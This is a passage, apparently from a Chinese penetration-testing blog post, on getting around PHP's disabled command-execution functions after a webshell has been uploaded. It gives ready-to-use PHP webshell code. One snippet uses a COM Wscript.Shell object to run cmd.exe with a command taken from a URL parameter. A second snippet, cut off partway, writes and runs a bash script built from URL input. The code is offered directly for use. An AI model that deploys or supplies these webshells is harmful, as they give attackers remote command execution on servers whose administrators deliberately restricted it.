在渗透测试过程中可能经常会遇到上传webshell后,由于php.ini配置禁用了一些如exec(),shell_exec(),system()等执行系统命令的函数,导致无法执行系统命令,就此问题给出几种绕过方法。
话不多说,直接贴代码:
<?php $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $exec=$phpwsh->exec("cmd.exe /c ".$_GET['c'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
<?php header("Content-Type: text/plain");$cmd="/tmp/exec";@unlink($cmd);$c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";file_put_contents($cmd, $c);chmo